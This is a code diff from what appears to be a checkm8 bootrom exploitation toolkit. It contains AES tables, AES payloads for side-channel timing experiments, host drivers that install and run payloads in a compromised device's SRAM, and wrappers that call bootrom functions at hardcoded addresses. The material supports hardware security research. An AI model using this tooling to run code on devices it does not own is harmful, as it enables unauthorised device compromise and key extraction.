0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
};
static const unsigned char mul2_lookup[256] =
{
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
};
static const unsigned char mul3_lookup[256] =
{
0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
};
static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
struct aes_constants *get_constants()
{
struct aes_constants *res = malloc(sizeof(struct aes_constants));
memcpy(res->sbox, sbox, sizeof(sbox));
memcpy(res->mul2, mul2_lookup, sizeof(mul2_lookup));
memcpy(res->mul3, mul3_lookup, sizeof(mul3_lookup));
memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
return res;
}

View File

@@ -1,14 +1,11 @@
#include "util.h"
#include "brfunc_timing.h"
#include "dev/types.h"
#ifdef DEV_CRYPTO
#include "dev_util.h"
PAYLOAD_SECTION
void task_sleep(unsigned int usec)
{
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
}
PAYLOAD_SECTION
void sub_bytes(unsigned char block[16], unsigned char sbox[16][16])
#endif
void sub_bytes(unsigned char block[16], struct aes_constants *c)
{
int i;
unsigned char val;
@@ -16,11 +13,13 @@ void sub_bytes(unsigned char block[16], unsigned char sbox[16][16])
for(i = 0; i < 16; i++)
{
val = block[i];
block[i] = sbox[val >> 4u][val & 0xfu];
block[i] = c->sbox[val >> 4u][val & 0xfu];
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void shift_rows(unsigned char block[16])
{
unsigned char temp1, temp2;
@@ -45,9 +44,10 @@ void shift_rows(unsigned char block[16])
block[0x7] = temp1;
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
void mix_cols(unsigned char block[16],
unsigned char mul2_lookup[256], unsigned char mul3_lookup[256])
#endif
void mix_cols(unsigned char block[16], struct aes_constants *c)
{
unsigned char r0, r1, r2, r3;
int i;
@@ -60,14 +60,16 @@ void mix_cols(unsigned char block[16],
r3 = block[4 * i + 3];
// no reason for the "+ 0" here but it makes the code look more lined up :)
block[4 * i + 0] = mul2_lookup[r0] ^ mul3_lookup[r1] ^ r2 ^ r3;
block[4 * i + 1] = r0 ^ mul2_lookup[r1] ^ mul3_lookup[r2] ^ r3;
block[4 * i + 2] = r0 ^ r1 ^ mul2_lookup[r2] ^ mul3_lookup[r3];
block[4 * i + 3] = mul3_lookup[r0] ^ r1 ^ r2 ^ mul2_lookup[r3];
block[4 * i + 0] = c->mul2[r0] ^ c->mul3[r1] ^ r2 ^ r3;
block[4 * i + 1] = r0 ^ c->mul2[r1] ^ c->mul3[r2] ^ r3;
block[4 * i + 2] = r0 ^ r1 ^ c->mul2[r2] ^ c->mul3[r3];
block[4 * i + 3] = c->mul3[r0] ^ r1 ^ r2 ^ c->mul2[r3];
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void add_key(unsigned char block[16], unsigned char key[16])
{
int i;
@@ -77,9 +79,11 @@ void add_key(unsigned char block[16], unsigned char key[16])
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
unsigned char sbox[16][16], unsigned char rc_lookup[11])
struct aes_constants *c)
{
int i, j, prev_key_base, key_base = 0;
unsigned char val;
@@ -96,13 +100,13 @@ void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
for(j = 0; j < 3; j++)
{
val = key_sched[prev_key_base + 13 + j];
key_sched[key_base + j] = sbox[val >> 4u][val & 0xfu];
key_sched[key_base + j] = c->sbox[val >> 4u][val & 0xfu];
}
val = key_sched[prev_key_base + 12];
key_sched[key_base + 3] = sbox[val >> 4u][val & 0xfu];
key_sched[key_base + 3] = c->sbox[val >> 4u][val & 0xfu];
key_sched[key_base] ^= rc_lookup[i - 1];
key_sched[key_base] ^= c->rc_lookup[i - 1];
for(j = 0; j < 4; j++)
{
@@ -116,27 +120,12 @@ void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
void busy_sleep(int usec)
#endif
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c)
{
unsigned long long halt = 0x1000004fc;
unsigned long long timer_deadline_enter = 0x10000b874;
unsigned long long now;
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (now));
((BOOTROM_FUNC) timer_deadline_enter)(now + 24 * usec, ((BOOTROM_FUNC) 0x10000b924));
((BOOTROM_FUNC) halt)();
}
PAYLOAD_SECTION
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
unsigned char sbox[16][16], unsigned char rc_lookup[11],
unsigned char mul2[256], unsigned char mul3[256])
{
unsigned char key_sched[176];
expand_key(key, key_sched, 11, sbox, rc_lookup);
busy_sleep(10);
unsigned int num_blocks = msg_len / 16;
unsigned char *block;
@@ -148,27 +137,14 @@ void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char
for(j = 0; j < 9; j++)
{
sub_bytes(block, sbox);
sub_bytes(block, c);
shift_rows(block);
mix_cols(block, mul2, mul3);
mix_cols(block, c);
add_key(block, &key_sched[16 * (j + 1)]);
}
sub_bytes(block, sbox);
sub_bytes(block, c);
shift_rows(block);
add_key(block, &key_sched[16 * (j + 1)]);
}
}
TEXT_SECTION
void _start(unsigned char *msg, unsigned int msg_len, unsigned char *key,
unsigned char sbox[16][16], unsigned char rc_lookup[11],
unsigned char mul2[256], unsigned char mul3[256])
{
unsigned long long start, end;
unsigned long long platform_quiesce_hardware = 0x100007dd0;
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3);
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
}

View File

@@ -0,0 +1,277 @@
#include "util/experiments.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include "dev/addr.h"
#include "tool/command.h"
#include "util/host_crypto.h"
DEV_PTR_T install_aes_data(struct pwned_device *dev)
{
int close;
DEV_PTR_T res;
struct aes_constants *constants = get_constants();
if(is_device_session_open(dev)) close = 0;
else
{
close = 1;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
free(constants);
return DEV_PTR_NULL;
}
}
res = install_data(dev, SRAM, (unsigned char *) constants, sizeof(struct aes_constants));
if(res == DEV_PTR_NULL)
{
printf("failed to write AES constants\n");
free(constants);
return DEV_PTR_NULL;
}
if(close)
{
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(constants);
return DEV_PTR_NULL;
}
}
free(constants);
return res;
}
DEV_PTR_T setup_bern_exp(struct pwned_device *dev)
{
DEV_PTR_T addr_data, addr_key, addr_async_buf, addr_constants;
struct dev_cmd_resp *resp;
unsigned char data[16];
unsigned char key[16];
memset(key, 0x1, 16);
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return DEV_PTR_NULL;
}
addr_constants = install_aes_data(dev);
if(addr_constants == DEV_PTR_NULL)
{
printf("failed to install aes constants\n");
return DEV_PTR_NULL;
}
addr_data = install_data(dev, SRAM, data, 16);
if(addr_data == DEV_PTR_NULL)
{
printf("failed to install aes data\n");
return DEV_PTR_NULL;
}
addr_key = install_data(dev, SRAM, key, 16);
if(addr_key == DEV_PTR_NULL)
{
printf("failed to install aes key\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_BERN, SRAM)))
{
printf("failed to install aes payload\n");
return DEV_PTR_NULL;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sync payload\n");
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
free_dev_cmd_resp(resp);
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_BERN,
sizeof(struct bern_data),
4, addr_data, 16, addr_key, addr_constants);
run_payload_async(dev, PAYLOAD_AES_SW_BERN);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return DEV_PTR_NULL;
}
return addr_async_buf;
}
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
{
struct dev_cmd_resp *resp;
struct bern_data *res;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return NULL;
}
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
async_buf + offsetof(struct bern_data, ev_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal for data\n");
free_dev_cmd_resp(resp);
return NULL;
}
free_dev_cmd_resp(resp);
resp = read_gadget(dev, async_buf, sizeof(struct bern_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to get data from device\n");
free_dev_cmd_resp(resp);
return NULL;
}
res = (struct bern_data *) resp->data;
free(resp);
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
async_buf + offsetof(struct bern_data, ev_done));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal data end\n");
free(res);
free_dev_cmd_resp(resp);
return NULL;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(res);
return NULL;
}
return res;
}
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key)
{
DEV_PTR_T addr_key, addr_async_buf, addr_constants;
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return DEV_PTR_NULL;
}
addr_constants = install_aes_data(dev);
if(addr_constants == DEV_PTR_NULL)
{
printf("failed to install aes constants\n");
return DEV_PTR_NULL;
}
addr_key = install_data(dev, SRAM, init_key, 16);
if(addr_key == DEV_PTR_NULL)
{
printf("failed to install aes key\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_CORR, SRAM)))
{
printf("failed to install aes payload\n");
return DEV_PTR_NULL;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sync payload\n");
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
free_dev_cmd_resp(resp);
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_CORR,
sizeof(struct corr_data),
2, addr_key, addr_constants);
run_payload_async(dev, PAYLOAD_AES_SW_CORR);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return DEV_PTR_NULL;
}
return addr_async_buf;
}
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
{
struct dev_cmd_resp *resp;
struct corr_data *res;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return NULL;
}
resp = read_gadget(dev, async_buf, sizeof(struct corr_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to get data from device\n");
free_dev_cmd_resp(resp);
return NULL;
}
res = (struct corr_data *) resp->data;
free(resp);
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
async_buf + offsetof(struct corr_data, ev_cont));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal data continue\n");
free(res);
free_dev_cmd_resp(resp);
return NULL;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(res);
return NULL;
}
return res;
}

View File

@@ -0,0 +1,108 @@
#include "util/experiments.h"
#include <stdio.h>
#include "tool/payload.h"
void floppysleep(struct pwned_device *dev)
{
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return;
}
float init_a = -7.504355E-39f;
DEV_PTR_T init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
if(init_a_ptr == DEV_PTR_NULL)
{
printf("failed to write initial data\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, init_a_ptr);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute flopsleep payload\n");
return;
}
printf("retval is %08lli\n", resp->retval);
free_dev_cmd_resp(resp);
close_device_session(dev);
}
void floppysleep_async(struct pwned_device *dev)
{
float init_a = -7.504355E-39f;
DEV_PTR_T init_a_ptr, async_buf_ptr;
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return;
}
init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
if(init_a_ptr == DEV_PTR_NULL)
{
printf("failed to write initial data\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
async_buf_ptr = setup_payload_async(dev, PAYLOAD_FLOPPYSLEEP, 32, 1, init_a_ptr);
run_payload_async(dev, PAYLOAD_FLOPPYSLEEP);
close_device_session(dev);
printf("async buf pointer is %llX\n", async_buf_ptr);
// sleep(10);
//
// open_device_session(dev);
// resp = read_gadget(dev, async_buf_ptr, 8);
// close_device_session(dev);
}

View File

@@ -0,0 +1,54 @@
#include "util/experiments.h"
#include <stdio.h>
#include "tool/command.h"
#include "dev/addr.h"
void usb_task_exit(struct pwned_device *dev)
{
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_EXIT_USB_TASK, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(uninstall_payload(dev, PAYLOAD_SYNC)))
{
printf("failed to uninstall sync payload\n");
return;
}
resp = execute_payload(dev, PAYLOAD_EXIT_USB_TASK, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to exit usb task\n");
return;
}
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return;
}
}

View File

@@ -1,33 +1,46 @@
project(checkm8_libpayload_sources C ASM)
include_directories(include)
include_directories(${CMAKE_CURRENT_LIST_DIR}/include)
set(CMAKE_SYSTEM_PROCESSOR arm)
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
# regular desktop
set(CMAKE_C_COMPILER /usr/bin/aarch64-linux-gnu-gcc)
set(CMAKE_ASM_COMPILER /usr/bin/aarch64-linux-gnu-as)
set(CMAKE_OBJCOPY /usr/bin/aarch64-linux-gnu-objcopy)
set(CMAKE_RANLIB /usr/bin/aarch64-linux-gnu-ranlib)
elseif(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "armv7l")
# raspberry pi
set(CMAKE_C_COMPILER /opt/cross/bin/aarch64-linux-gcc)
set(CMAKE_ASM_COMPILER /opt/cross/bin/aarch64-linux-as)
set(CMAKE_OBJCOPY /opt/cross/bin/aarch64-linux-objcopy)
set(CMAKE_RANLIB /opt/cross/bin/aarch64-linux-ranlib)
endif()
set(CMAKE_C_FLAGS "-nostdlib -O")
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
foreach(NAME ${PL_NAMES})
if(EXISTS ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
else()
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c)
string(REPLACE ":" "/" SRC_PATH ${NAME})
string(REGEX REPLACE "^[^:]*\\:(.*)$" "\\1" NAME_ONLY ${NAME})
set(SRC_NAME ${NAME}_SRCS)
set(${SRC_NAME} src/payload_entry.S src/payload_entry.c src/${SRC_PATH}.c)
if(EXISTS ${CMAKE_CURRENT_LIST_DIR}/src/${SRC_PATH}.S)
list(APPEND ${SRC_NAME} src/${SRC_PATH}.S)
endif()
add_custom_command(TARGET payload_${NAME} POST_BUILD
BYPRODUCTS ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin
add_executable(payload_${NAME_ONLY} ${${SRC_NAME}})
message(adding payload_${NAME_ONLY})
add_custom_command(TARGET payload_${NAME_ONLY} POST_BUILD
BYPRODUCTS ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME_ONLY}.bin
COMMAND ${CMAKE_OBJCOPY}
ARGS -O binary -j .text -j .payload_text -j .payload_data
${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME}
${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin)
endforeach(NAME)
${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME_ONLY}
${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME_ONLY}.bin)
endforeach(NAME)
add_library(dev_crypto ../crypto/aes_sw_impl.c)
target_compile_definitions(dev_crypto PRIVATE DEV_CRYPTO)
target_link_libraries(payload_aes_sw_bern dev_crypto)
target_link_libraries(payload_aes_sw_corr dev_crypto)

View File

@@ -0,0 +1,136 @@
#ifndef CHECKM8_TOOL_BOOTROM_FUNC_H
#define CHECKM8_TOOL_BOOTROM_FUNC_H
#include "dev/addr.h"
#include "dev/types.h"
#include "dev_util.h"
/* Crypto */
static inline int hardware_aes(unsigned long long cmd,
unsigned char *src, unsigned char *dst,
int len, unsigned long long opts,
unsigned char *key, unsigned char *iv)
{
return ((BOOTROM_FUNC_I) ADDR_HARDWARE_AES)(cmd, src, dst, len, opts, key, iv);
}
static inline int get_random(void *buf, int len)
{
return ((BOOTROM_FUNC_I) ADDR_GET_RANDOM)(buf, len);
}
static inline unsigned int get_entropy()
{
return ((BOOTROM_FUNC_I) ADDR_GET_ENTROPY)();
}
static inline void sha1(void *src, int len, void *dst)
{
return ((BOOTROM_FUNC_V) ADDR_SHA1)(src, len, dst);
}
/* Timing */
static inline int clock_gate(int device, int power)
{
return ((BOOTROM_FUNC_I) ADDR_CLOCK_GATE)(device, power);
}
static inline unsigned long long get_time()
{
return ((BOOTROM_FUNC_ULL) ADDR_GET_TIME)();
}
static inline unsigned long long get_ticks()
{
return ((BOOTROM_FUNC_ULL) ADDR_GET_TICKS)();
}
static inline void timer_register_int(unsigned long long dl)
{
((BOOTROM_FUNC_V) ADDR_TIMER_REGISTER_INT)(dl, ADDR_RANDOM_RET);
}
static inline void wfi()
{
((BOOTROM_FUNC_V) ADDR_WFI)();
}
/* Tasking */
static inline void *task_new(char *name, BOOTROM_FUNC_I func, void *args, int ssize)
{
return ((BOOTROM_FUNC_PTR) ADDR_TASK_NEW)(name, func, args, ssize);
}
static inline void task_run(void *task)
{
((BOOTROM_FUNC_V) ADDR_TASK_RUN)(task);
}
static inline void task_pause(int usec)
{
((BOOTROM_FUNC_V) ADDR_TASK_PAUSE)(usec);
}
static inline void task_resched()
{
((BOOTROM_FUNC_V) ADDR_TASK_RESCHED)();
}
static inline void task_free(void *task)
{
((BOOTROM_FUNC_V) ADDR_TASK_FREE)(task);
}
static inline void event_new(struct event *dst, int flags, int state)
{
((BOOTROM_FUNC_V) ADDR_EVENT_NEW)(dst, flags, state);
}
static inline void event_notify(struct event *ev)
{
((BOOTROM_FUNC_V) ADDR_EVENT_NOTIFY)(ev);
}
static inline void event_wait(struct event *ev)
{
((BOOTROM_FUNC_V) ADDR_EVENT_WAIT)(ev);
}
static inline int event_try(struct event *ev, int timeout)
{
return ((BOOTROM_FUNC_I) ADDR_EVENT_TRY)(ev, timeout);
}
/* Heap */
static inline void calc_chksum(unsigned long long *dst, unsigned long long *src,
int len, unsigned long long *cookie)
{
((BOOTROM_FUNC_V) ADDR_CALC_CHKSUM)(dst, src, len, cookie);
}
static inline void check_block_chksum(void *ptr)
{
((BOOTROM_FUNC_V) ADDR_CHECK_BLOCK_CKSUM)(ptr);
}
static inline void check_all_chksums()
{
((BOOTROM_FUNC_V) ADDR_CHECK_ALL_CHKSUMS)();
}
static inline void *dev_malloc(int size)
{
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MALLOC)(size);
}
static inline void *dev_memalign(int size, int constr)
{
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MEMALIGN)(size, constr);
}
static inline void dev_free(void *ptr)
{
((BOOTROM_FUNC_PTR) ADDR_DEV_FREE)(ptr);
}
#endif //CHECKM8_TOOL_BOOTROM_FUNC_H

View File

@@ -0,0 +1,62 @@
#ifndef CHECKM8_TOOL_DEV_CACHE_H
#define CHECKM8_TOOL_DEV_CACHE_H
#include "dev_util.h"
PAYLOAD_SECTION
static inline unsigned long long get_ccsidr_el1()
{
unsigned long long cacheconfig = 0;
__asm__ volatile ("mrs %0, ccsidr_el1" : "=r" (cacheconfig));
return cacheconfig;
}
PAYLOAD_SECTION
static inline void sel_ccsidr_el1(unsigned int level, unsigned int i_or_d)
{
unsigned long long cachesel = (level & 0b111u) << 1u | (i_or_d & 0b1u);
__asm__ volatile ("msr csselr_el1, %0"::"r" (cachesel));
}
PAYLOAD_SECTION
static inline unsigned long long get_ctr_el0()
{
unsigned long long cacheconfig;
__asm__ volatile ("mrs %0, CTR_EL0" : "=r" (cacheconfig));
return cacheconfig;
}
PAYLOAD_SECTION
static inline void inv_l1_setway(unsigned int set, unsigned int way)
{
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
__asm__ volatile ("dc isw, %0"::"r" (val));
}
PAYLOAD_SECTION
static inline void clean_l1_setway(unsigned int set, unsigned int way)
{
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
__asm__ volatile ("dc csw, %0"::"r" (val));
}
PAYLOAD_SECTION
static inline void clean_inv_l1_setway(unsigned int set, unsigned int way)
{
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
__asm__ volatile ("dc cisw, %0"::"r" (val));
}
PAYLOAD_SECTION
static inline void inv_va(void *addr)
{
__asm__ volatile ("dc ivac, %0"::"r" (addr));
}
PAYLOAD_SECTION
static inline void clean_inv_va(void *addr)
{
__asm__ volatile ("dc ivac, %0"::"r" (addr));
}
#endif //CHECKM8_TOOL_DEV_CACHE_H

View File

@@ -0,0 +1,13 @@
#ifndef CHECKM8_TOOL_CRYPTO_H
#define CHECKM8_TOOL_CRYPTO_H
#include "dev/types.h"
void expand_key(unsigned char key[16], unsigned char key_sched[176],
int n, struct aes_constants *c);
